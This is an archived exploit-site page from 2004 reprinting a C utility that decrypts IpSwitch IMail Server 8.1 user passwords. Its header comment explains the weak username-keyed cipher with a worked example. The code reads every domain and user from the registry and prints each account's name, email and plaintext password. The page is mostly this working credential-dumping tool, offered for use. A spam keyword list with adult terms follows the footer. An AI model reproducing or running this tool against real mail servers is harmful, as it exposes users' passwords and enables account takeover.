about advertise contact
Search: Home Vulnerabilities Exploits News Articles RSS Feeds Archive

exploits , vulnerabilities , articles , IpSwitch IMail Server <= 8.1 local password decryption utility



2004-08-18 IpSwitch IMail Server <= 8.1 local password decryption utility
/*********************************************************************************
* IpSwitch IMail Server <= ver 8.1 User Password Decryption
* 
* by Adik < netmaniac hotmail KG > 
* 
* IpSwitch IMail Server uses weak encryption algorithm to encrypt its user
passwords. It uses
* polyalphabetic Vegenere cipher to encrypt its user passwords. This
encryption scheme is
* relatively easy to break. In order to decrypt user password we need a
key. IMail uses username
* as a key to encrypt its user passwords. The server stores user passwords
in the registry under 
* the key
"HKEY_LOCAL_MACHINE\SOFTWARE\IpSwitch\IMail\Domains\<domainname>\Users\
* <username>\Password".
* Before decrypting password convert all upper case characters in the
username to lower case
* characters. We use username as a key to decrypt our password.
* In order to get our plain text password, we do as follows:
* 1) Subtract hex code of first password hash character by the hex code of
first username character.
* The resulting hex code will be our first decrypted password character.
* 2) Repeat above step for the rest of the chars.
* 
* Look below, everythin is dead simple ;)
* eg:
*
* USERNAME: netmaniac 
* PASSWORDHASH: D0CEE7D5CCD3D4C7D2E0CAEAD2D3
* --------------------------------------------
* 
* D0 CE E7 D5 CC D3 D4 C7 D2 E0 CA EA D2 D3 <- password hash
* - 6E 65 74 6D 61 6E 69 61 63 6E 65 74 6D 61 <- hex codes of username
* n e t m a n i a c n e t m a <- username is a key
* -----------------------------------------
* 62 69 73 68 6B 65 6B 66 6F 72 65 76 65 72 <- hex codes of decrypted
password
* b i s h k e k f o r e v e r <- actual decrypted password
*
*
* pwdhash_hex_code username_hex_code decrypted_password
* ------------------------------------------------------------------
* D0 - 6E (n) = 62 (b)
* CE - 65 (e) = 69 (i)
* E7 - 74 (t) = 73 (s)
* D5 - 6D (m) = 68 (h)
* CC - 61 (a) = 6B (k)
* D3 - 6E (n) = 65 (e)
* D4 - 69 (i) = 6B (k)
* C7 - 61 (a) = 66 (f)
* D2 - 63 (c) = 6F (o)
* E0 - 6E (n) = 72 (r)
* CA - 65 (e) = 65 (e)
* EA - 74 (t) = 76 (v)
* D2 - 6D (m) = 65 (e)
* D3 - 61 (a) = 72 (r)
* ------------------------------------------------------------------
*
* I've included a lil proggie to dump all the usernames/passwords from
local machine's registry.
* Have fun!
* //Send bug reports to netmaniac[at]hotmail.KG
*
* Greets to: my man wintie from .au, Chintan Trivedi :), jin yean ;),
Morphique
*
* [16/August/2004] Bishkek
*********************************************************************************/


//#include "stdafx.h"
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <ctype.h>
#include <windows.h>
#define snprintf _snprintf
#pragma comment(lib,"advapi32")
#define ALLOWED_USERNAME_CHARS "A-Z,a-z,0-9,-,_,."
#define MAX_NUM 1024 //500
#define DOMAINZ "Software\\IpSwitch\\IMail\\Domains"
#define VER "1.1"
#define MAXSIZE 100

int total_accs=0;
int total_domainz=0,total_domain_accs=0;
/*OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO*/
void greetz()
{
 printf( "\n\t--= [ IpSwitch IMail Server User Password Decrypter ver
%s] =--\n\n"
 "\t\t (c) 2004 by Adik ( netmaniac [at] hotmail.KG
)\n\n\n",VER);
}
/*OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO*/
void usage()
{
 printf(
"------------------------------------------------------------------------\n");
 printf( " Imailpwdump [-d] -- Dumps IMail Server user/pwds from
local registry\n\n"
 " Imailpwdump [username] [passwordhash] -- User/PwdHash to
decrypt\n\n"
 " eg: Imailpwdump netmaniac D0CEE7D5CCD3D4C7D2E0CAEAD2D3\n");
 printf(
"------------------------------------------------------------------------\n");
 
}
/*OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO*/
void str2hex(char *hexstring, char *outbuff)
{ 
 unsigned long tmp=0;
 char tmpchr[5]=""; 
 memset(outbuff,0,strlen(outbuff));
 if(strlen(hexstring) % 2)
 {
 printf(" Incorrect password hash!\n");
 exit(1);
 }
 if(strlen(hexstring)>MAXSIZE)
 {
 printf(" Password hash is too long! \n");
 exit(1);
 }
 for(unsigned int i=0, c=0; i<strlen(hexstring); i+=2, c++)
 {
 memcpy(tmpchr,hexstring+i,2);
 tmp = strtoul(tmpchr,NULL,16); 
 outbuff[c] = (char)tmp; 
 }
}
/*OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO*/
void str2smallcase(char *input)
{
 if(strlen(input)>MAXSIZE)
 {
 printf(" Username too long! \n");
 return;
 }
 for(unsigned int i=0;i<strlen(input);i++)
 {
 if(isalnum(input[i]) || input[i] == '-' || input[i]=='_' ||
input[i]=='.') 
 input[i] = tolower(input[i]); 
 else
 {
 printf(" Bad characters in username!\n Allowed characters:
%s\n",ALLOWED_USERNAME_CHARS);
 return;
 } 
 }
}
/*OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO*/
void populate(char *input,unsigned int size)
{
 char tmp[MAX_NUM]="";
 unsigned int strl = strlen(input);
 strcpy(tmp,input);
 //netmaniacnetmaniacnetman
 for(unsigned int i=strlen(input),c=0;i<size;i++,c++)
 { 
 if(c==strl)
 c=0;
 input[i] = tmp[c];
 }
 input[i]='\0';
}
/*OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO*/
void imail_decrypt(char *username, char *pwdhash,char *outbuff)
{
 //adik 123456
 //adikbek 123
 if(strlen(pwdhash) <= strlen(username) )
 {
 memset(outbuff,0,sizeof(outbuff));
 for(unsigned int i=0;i<strlen(pwdhash);i++) 
 outbuff[i] = (pwdhash[i]&0xff) - (username[i]&0xff); 
 outbuff[i]='\0';
 } 
}
/*OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO*/
void get_usr_pwds(char *subkey,char *usr)
{
 long res;
 HKEY hPwdKey;
 char username[MAXSIZE]="";
 char passwdhash[MAXSIZE*2]="",
passwd[MAXSIZE]="",clearpasswd[MAXSIZE]="";
 char fullname[MAXSIZE]="";
 char email[MAXSIZE]="";
 DWORD lType;
 DWORD
passwdhashsz=sizeof(passwdhash)-1,fullnamesz=MAXSIZE-1,emailsz=MAXSIZE-1;

 res = RegOpenKeyEx(HKEY_LOCAL_MACHINE,subkey,0,KEY_ALL_ACCESS,&hPwdKey);
 if(res!=ERROR_SUCCESS)
 {
 printf(" Error opening key %s! Error #:%d\n",subkey,res);
 exit(1); 
 //return;
 }
 

if(RegQueryValueEx(hPwdKey,"Password",0,&lType,(LPBYTE)passwdhash,&passwdhashsz)!
 = ERROR_SUCCESS)
 {
 RegCloseKey(hPwdKey);
 return;
 }

if(RegQueryValueEx(hPwdKey,"FullName",0,&lType,(LPBYTE)fullname,&fullnamesz)!
 = ERROR_SUCCESS)
 {
 RegCloseKey(hPwdKey);
 return;
 }

if(RegQueryValueEx(hPwdKey,"MailAddr",0,&lType,(LPBYTE)email,&emailsz)!=ERROR_SUCCESS)
 {
 RegCloseKey(hPwdKey);
 return;
 }
 

 str2smallcase(usr);
 strncpy(username,usr,sizeof(username)-1);
 str2hex(passwdhash,passwd);
 // adik 1234567
 // adik 12
 if(strlen(passwd)>strlen(username))
 populate(username,strlen(passwd));
 imail_decrypt(username,passwd,clearpasswd);

 printf(
"------------------------------------------------------------------------\n"
 " FullName:\t %s\n"
 " Email:\t\t %s\n"
 " Username:\t %s\n"
 " Password:\t %s\n",
 fullname,email,usr,clearpasswd);
 total_accs++;
 RegCloseKey(hPwdKey);
}
/*OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO*/
void dump_registry_pwds()
{
 HKEY hKey,hUserKey;
 DWORD domRes=0,usrRes=0, domlen=0,userlen=0,domIndex=0,userIndex=0;
 FILETIME ftime;
 char domain[150]="";
 char user[150]="";
 char tmpbuff[MAX_NUM]="";
 char usrtmpbuff[MAX_NUM]="";
 domRes =
RegOpenKeyEx(HKEY_LOCAL_MACHINE,DOMAINZ,0,KEY_ALL_ACCESS,&hKey);
 if(domRes!=ERROR_SUCCESS)
 {
 printf(" Error opening key '%s'!\n IMail not installed?? Error
#:%d\n",DOMAINZ,domRes);
 exit(1);
 }
 do
 {
 domlen=sizeof(domain)-1;
 domRes=RegEnumKeyEx(hKey,domIndex,domain,&domlen,NULL,NULL,NULL,&ftime);
 if(domRes!=ERROR_NO_MORE_ITEMS)
 {
 printf("\n DOMAIN:\t [ %s ]\n",domain);
 userIndex=0;
 total_accs=0;

snprintf(tmpbuff,sizeof(tmpbuff)-1,"%s\\%s\\Users",DOMAINZ,domain);
 usrRes =
RegOpenKeyEx(HKEY_LOCAL_MACHINE,tmpbuff,0,KEY_ALL_ACCESS,&hUserKey);
 if(usrRes==ERROR_SUCCESS)
 { 
 //adik
 do
 {
 userlen=sizeof(user)-1;

usrRes=RegEnumKeyEx(hUserKey,userIndex,user,&userlen,NULL,NULL,NULL,&ftime);
 if(usrRes!=ERROR_NO_MORE_ITEMS)
 { 

snprintf(usrtmpbuff,sizeof(usrtmpbuff)-1,"%s\\%s\\Users\\%s",DOMAINZ,domain,user);

 get_usr_pwds(usrtmpbuff,user); 
 }
 userIndex++; 
 }
 while(usrRes!=ERROR_NO_MORE_ITEMS);
 RegCloseKey(hUserKey);
 printf("\n\t Total:\t %d Accounts\n",total_accs);
 total_domain_accs += total_accs;
 total_domainz++;
 } 
 domIndex++; 
 }
 }
 while(domRes != ERROR_NO_MORE_ITEMS);
 RegCloseKey(hKey);
 //total_domains += dom
 printf("\n Total:\t %d Domains, %d
Accounts\n",total_domainz,total_domain_accs);

}
/*OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO*/
void decrypt_usr_pass(char *usr,char *passwd)
{
 char username[MAX_NUM]="";
 char passwordhash[MAX_NUM]="";
 char outputbuff[250]="";

 str2smallcase(usr);
 strncpy(username,usr,sizeof(username)-1);
 str2hex(passwd,passwordhash);

printf("------------------------------------------------------------------------\n");
 printf( " Username:\t\t %s\n"
 " Passwordhash:\t\t %s\n",usr,passwd);
 if(strlen(passwordhash)>strlen(username))
 populate(username,strlen(passwordhash));

 imail_decrypt(username,passwordhash,outputbuff);
 printf(" Decrypted passwd:\t %s\n",outputbuff);

printf("------------------------------------------------------------------------\n");
}
/*OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO*/
void main(int argc, char *argv[])
{
 greetz(); 
 
 if(argc ==2 && strncmp(argv[1],"-d",2)==0 )
 {
 //dump passwd from registry
 dump_registry_pwds();
 }
 else if(argc == 3 && strncmp(argv[1],"-d",2)!=0)
 {
 //decrypt username passwd
 decrypt_usr_pass(argv[1],argv[2]);
 }
 else
 {
 usage();
 return;
 }

 // ThE eNd

}
/*OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO*/
securitydot.net - 2004-08-18

Advertising

Copyright 2007, SecurityDot
Wed, 03 Dec 2008 08:41:41 +0000

Friends : milw0rm.com , secunia.com , securityfocus.com
GOOGLE
NEWS EXPLOITS VULNS
exploits , 0day exploits , newest exploits , vulnerabilities , newest vulnerabilities , 0day vulnerabilities , newest articles , linux articles , articles
Free java www.shwsex pmwiki t340t t878t fantasti.c Kushpu t878t Pose menan Doggy styl ISC Bind Www.Indian adodb www.shwsex bollywoods Wwwmanoram saneya mer xxx karina t741t www.google t711t last WWW.BADGRI www.bollyw mambo Remo hrrp://for zzzzzsex PHP 4.3.10 search/exp t252t irc sega.com Www.indian www.yotoub t252t news+for+C herde 3.2 bit www.hit-fi an angel anal+wallp Sania mirz 200 /compo www.fatass watersex.c sxsxe anim mssql 2005 HOT IMEGE www.fatass t216t